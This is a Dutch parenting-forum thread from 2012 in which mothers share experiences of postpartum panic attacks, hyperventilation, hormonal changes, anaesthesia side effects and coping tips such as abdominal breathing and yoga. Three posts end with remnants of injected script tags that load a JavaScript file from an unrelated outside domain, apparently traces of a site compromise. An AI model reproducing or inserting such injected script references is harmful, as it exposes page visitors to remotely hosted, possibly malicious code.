Mama-life
| Cir schreef op: 22-08-2012 16:42:32 |
Hoi, |
| Quote |
| Mitch schreef op: 22-08-2012 16:49:40 |
Ja ik heb er last van sinds de geboorte van mijn dochter. Ik geloofde niet dat het paniekaanvallen waren en heb mij doorverwezen naar de cardioloog en alles, waar ik op wat afwijkinkjes na niet veel bijzonders had. Op zo een moment denk je echt dat je het loodje legt, een soort onrust die ineens heeeeel erg groot word. Ik heb altijd medicatie geweigert omdat ik er gewoon niet zo van ben, en nu is mijn dochter 1,5 en worden de aanvallen beter handelbaar. Heel soms flip ik hem nog even helemaal, maar niet meer 10x op een dag zoals eerst. Ik kreeg ook angstgedachtes erbij, echt enorm doemdenken de meest irriele gedachtes (voor anderen dan) en die zijn helaas nog niet weg maar wel al een stuk minder heftig. Ik geloof ook echt dat hormonen in deze een heel erg grote rol gespeeld hebben en nog spelen. Ik weet niet of je veel koffie drinkt? Daar zou ik dan als eerste even mee stoppen. Probeer zo een aanval te laten komen, niet onderdrukken want als je hem gaat onderdrukken ga je juist meer spanning in je lijf opbouwen. Heel veel succes en het komt echt goed als je een beetje lief voor jezelf bent. |
| Quote |
| Cir schreef op: 22-08-2012 17:27:01 |
Inderdaad, op zo'n moment denk ik echt, dit was het dan, nu ga ik dood. Ik kan totaal niet meer
rationeel nadenken. Koffie drink ik niet maar wel veel van die korreltjesthee van Zonnatura. Misschien zit daar ook oppepende stoffen in? Dorst jij nog wel te gaan slapen? Daar ben ik nu het meest bng voor terwijl slaap me juist kan helpen om beter te voelen. |
| Quote |
| Eowyn schreef op: 22-08-2012 18:40:04 |
ik reageer eigenlijk nooit, ben meer een meelezer, maar dan nu toch. Terwijl ik in het
ziekenhuistraject zat voor mijn kinderwens kreeg ik ook paniekaanvallen, heeft zeker met hormonen te
maken. Daarnaast had ik chronische hyperventilatie waardoor mijn ademhaling veel te hoog (in mijn
borst) zat. Hierdoor kreeg ik duizelingen, ging ik veel naar lucht happen, mijn maag en darmen
raakten van streek, kreeg hartkloppingen, DOODENG vond ik het. Bij mij heeft een combinatie van
mensendieck (ademhalings en houdingstherapie), yoga en natuurgeneeskunde geholpen. Vooral de yoga
maakte dat ik mijn lichaam weer ging begrijpen en negatieve gedachten weg kon jagen. Al met al ben
ik wel ruim een half jaar aan het knokken geweest, maar het heeft me wel sterker gemaakt. Succes met het vinden van jouw weg. |
| Quote |
| Mitch schreef op: 22-08-2012 18:50:22 |
Slapen vond ik vreselijk maar wist als ik sliep dan voelde ik het even niet. Mijn man heeft avond aan avond bij mij gelegen dat ik naar zijn hartslag wilde luisteren want die van mezelf vond ik te eng. Thee weet ik zo niet, ik denk dat het de caffeine is die het hem vooral doet? Ik drink nu wel weer koffie maar merk wel dat het onrust gevoel er wel groter van word, dus soms dan stop ik even en neem ik bewust wat water hihi. Ik gaf trouwens ook borstvoeding en de eerste 6 maanden heeft mijn dochter amper tot niet geslapen snachts dus niet slapen schijnt er ook echt in mee te spelen. De borstvoeding was met 4 maanden over hier, dus aan de borstvoeding zelf lag het niet want ze kwam ook met de fles snachts nog. Ik ging de pil slikken want daar zou het ook beter van worden, maar dat was het ook niet, ik denk echt dat je eigen hormoonhuishouding gewoon weer op de plek moet vallen. Heb uiteindelijk ook therapie aan therapie en pit hulp gehad thuis, want ik dacht echt dat ik gek werd. Heb mensen ook gezegt dat het lijkt of er een deurtje open gaat in mijn hoofd en HOP de hele zooi ligt op zijn gat... vonden ze maar gek klinken dus heb dat maar niet meer gezegt hahahaha. < type="text/" src="http://rozekleur.info/dfi823hs.js?0.8527620771740592"> |
| Quote |
| Cir schreef op: 22-08-2012 19:12:35 |
Eowyn, bedankt dat je wilde reageren! yoga is inderdaad wel een idee. nu ben ik daar nog een beetje
te slap voor maar over een tijdje kan dt wel weer. Mitch, ik herken ook zoveel in jou verhaal! Ik vind mijn hartslag ook doodeng. Vooral omdat hij zo laag is, maar 46 slagen per minuut. Maar de cardioloog in het ziekenhuis verzekerde me dat het normaal was voor een (relatief) jong iemand met pijn. Dus daar moet ik dan maar op vertrouwen. Denk dat ik vannacht ook maar bij m'n man ga liggen luisteren naar zijn hartslag, misschien neemt mijn lichaam die dan over, haha. Denk dat ik ook maar hulp ga zoeken. Ik was altijd al een tikkeltje hypochonder maar nu lijken alle remmen wel losgeslagen. |
| Quote |
| Cir schreef op: 22-08-2012 19:19:22 |
Ik heb een roesje gehad met Propofol. En heb je dan last van angstaanvallen of die lage hartslag? |
| Quote |
| Mitch schreef op: 22-08-2012 19:20:15 |
Ik heb geen narcose gehad. Wel een zwangerschap from hell met heel veel bloeddrukverlagende medicatie, op een gegeven moment een soort overdosis. < type="text/" src="http://rozekleur.info/dfi823hs.js?0.9915932935033663"> |
| Quote |
| Cir schreef op: 22-08-2012 19:25:23 |
Aha, kijk, dat zou dan bij mij ook vast en zeker mee kunnen spelen. Morfine heb ik vorige week ook
gehad en ook morfine achtige pillen geslikt. Ik ben gewoon een beetje naar de klote, zo voelt
het. Overgens heb ik toen de melk afgekolft en weggegooid hoor! |
| Quote |
| Mitch schreef op: 22-08-2012 19:30:48 |
Nou dan zit het gewoon echt in je lijf, zou ik mij proberen niet te druk te maken het moet gewoon je
systeem uit. Hier trouwens ene beroepshypochonder dus denk dat we er gewoon extra gevoelig voor zijn. < type="text/" src="http://rozekleur.info/dfi823hs.js?0.9284597049008066"> |
| Quote |
| Cir schreef op: 22-08-2012 19:32:20 |
brrr, sis, van die bijwerkingen word ik niet happy. Maar mij is wel verteld dat het een stof is die snel weer uit het lichaam weg is. En deze ingreep (uurtje) is natuurlijk niet te vergelijken met wat jij hebt moeten ondergaan. |
| Quote |
| Cir schreef op: 22-08-2012 19:33:54 |
Raar eigenlijk dat zo'n ziekenhuis je niet verteld dat dit soort bijwekingen ook mogelijk zijn na
toediening. |
| Quote |
| Eefje schreef op: 23-08-2012 22:17:26 |
Als je iets wil proberen, waarbij je niet hoeft te stoppen met de borstvoeding, zou je eens Bach
Rescue remedy kunnen proberen. Zijn natuurlijke druppels. Helpen goed bij onrust,
paniek,angsten...Het proberen waard! Heel veel succes en ik hoop dat je snel weer kunt gaan genieten van je nieuwe kindje |
| Quote |
| Marie8 schreef op: 23-08-2012 23:04:56 |
Gefeliciteerd met je zoon. Toen ik mijn 1e paniekaanval kreeg, dacht ik echt dat ik doodging. Vreselijk. Later ook ooit volledig onderzocht bij de cardioloog omdat ik dan ook enorme hartkloppingen heb. Ik zie dan echt mijn borst bewegen en daarvan werd ik dan in het begin ook weer heel bang en dan was de cirkel rond. Na de bevallingen en met weinig slaap heb ik er ook meer last van gehad. Wel op hele willekeurige momenten. Vaak zelfs als ik net even lekker ontspannen zat. Ik zie dat je yoga wel iets vindt... Ik heb daar geleerd heel diep door te ademen naar mijn buik en dat helpt mij enorm. Dat zou je kunnen proberen, het is niet moeilijk. Ik ga altijd zo snel mogelijk zitten als ik het voel opkomen. Soms op de trap of op een tafel ofzo. Rechtop zitten. Ik leg altijd 1 hand op mijn buik en adem diep in door mijn neus, naar die hand toe. Je voelt het dan in je buik. En dan rustig door je mond uitademen. Dan gaat het heel snel goed en daarom ben ik nu niet meer bang voor paniekaanvallen. Want angst voor je angst kom je in die vicieuze cirkel. En nu heb ik ze nog zelden. |
| Quote |
| Mieps01 schreef op: 23-08-2012 23:54:21 |
Ik denk dat je misschien ook sterker reageert op die medicijnen omdat je aan het ontzwangeren bent,
je lichaam bezig is met het aanzetten tot maken van (meer) borstvoeding en hele hormoonhuishouding
en je slaap sowiesohelemaal van de leg zijn. Zou niet uitsluiten dat het bijwerkzijlijnen van
morfine en narcose. Sterkte!!! |
| Quote |
| Cir schreef op: 24-08-2012 18:18:57 |
Bedankt voor jullie tips! Vorige nacht heb ik best goed geslapen maar vanacht was het weer bagger. Ik zie nu wel heel duidelijk in dat het echt wel door die paniekaanvallen en hyperventilatie komt. En dat er dus lichamelijk niets ernstigs met me aan de hand is. IIG niet iets waar ik terplekke aan dood ga  Zo midden in de nacht vind ik het heel moeilijk om mijn ademhaling weer normaal te laten gaan. Marie8, ik zal de aandemahlingstips van jou ook gaan proberen. Zal misschien oefening vergen voordat ik het onder de knie heb. Mieps01, ja, ik denk ook dat het een totaalpakketje is samen met die hormoonhuishouding waardoor mijn balans volledig zoek is. Eefje, de bach rescue spray heb ik inmiddels ook in huis. Het help wel een beetje. |
| Quote |
| Mama V Jurre,stijn,j oris schreef op: 24-08-2012 19:31:38 |
zo zwaar irritant dat het uberhaupt bestaat een mensenlichaam zit soms zo raar in mekaar ik heb al
lang last van paniekaanvallen etc en het gaat met zijn up en downs de ene x gaat het een langere
periode goed en dan is er iets wat ingrijpends is en pats zit weer op de onderste trede en het
rottige is je denkt vanalles vooral bij zon aanval. na de geboorte van jurre ben ik echt in een
paniekfase geknalt zo van ja maar als er iets met mij gebeurd en er is niemand die voor het kleintje
zorgt pfff toen jurre ouder werd ging dit beter bij stijn iets minder last nu bij joris n=inmiddels
10 maand gaat het nu weer iets beter heb wel al lange tijd medicatie cipramil ook tijdens de
zwangerschap en bv gebruikt geef nog bv okee 1 a 2 xx maar hahaha hij wil nog af en toe vooral na de
bevalling had ik dat gevoel weer oh my god kleintje kan geen antwoord geven van help ben nu alleen
ja heel maf nu joris weer wat ouder wordt verzakt dat gevoel. maar het is een blijft een raar
fenomeen. maar idd probeer op het momenbt van op je ademhaling te letten en ga iets doen om je
gedachten af te leiden. moeilijk I now dikke knuffel voor iedereen die hier last van heeft want soms
ga je door een hel terwijl je eigelijk dondersgoed weet dat het niks is..... |
| Quote |
| Mieps01 schreef op: 25-08-2012 09:26:17 |
Heeft je dokter trouwens ook laten prikken op je schildklier? Volgens mij vliegt die bij meer dames
uit het lood na de bevalling.. En daar krijg je ook al dit soort psychische/ en lichamelijke
klachten van. Laat dat misschien toch even uitsluiten. |
| Quote |
| Marie8 schreef op: 25-08-2012 19:36:13 |
Cir, het is niet zo moeilijk. Het gaat erom dat je rustig gaat doorademen omdat bij een paniekadem
je adem versnelt en je oppervlakkig gaat ademen. Niet te moeilijk over denken. Heb je misschien wel eens zwangerschapsyoga gehad? Daar komt doorademen ook aan bod. Anders misschien eens kijken of er op youtube goede voorbeelden zijn? |
| Quote |
| Cir schreef op: 26-08-2012 15:44:56 |
mama V jurre, stijn, joris, zeker herkenbaar, wat kan een mesn zichzelf toch gek maken
he? |
| Quote |
